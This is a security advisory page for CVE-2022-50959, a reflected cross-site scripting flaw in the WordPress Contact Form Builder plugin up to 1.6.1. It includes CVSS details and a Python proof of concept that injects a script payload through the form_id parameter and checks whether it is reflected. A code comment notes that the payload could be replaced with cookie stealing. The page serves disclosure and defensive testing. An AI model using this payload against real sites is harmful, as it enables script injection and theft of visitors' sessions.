Security Vulnerability Report
中文
CVE-2022-50959 CVSS 6.1 MEDIUM

CVE-2022-50959

Published: 2026-05-10 13:16:34
Last Modified: 2026-05-12 14:24:15

Description

WordPress Contact Form Builder 1.6.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by exploiting the form_id parameter. Attackers can craft malicious URLs to code_generator.php with script payloads in the form_id parameter to execute arbitrary JavaScript in victim browsers.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Contact Form Builder <= 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL path to the vulnerable file target_url = "http://target-site.com/wp-content/plugins/contact-forms-builder/code_generator.php" # Malicious payload attempting to execute JavaScript via the form_id parameter # Using a simple alert to confirm execution, could be replaced with cookie stealing payload = '"><script>alert(1)</script>' # Construct the full exploit URL exploit_url = f"{target_url}?form_id={payload}" print(f"Testing URL: {exploit_url}") try: # Send the request simulating a victim visiting the link response = requests.get(exploit_url) # Check if the payload is reflected in the response (unsanitized) if payload in response.text: print("[+] Vulnerability Confirmed: The payload was reflected in the response.") else: print("[-] Vulnerability Not Detected or Patched.") except Exception as e: print(f"Error connecting to target: {e}")

References

Raw JSON Data

JSON
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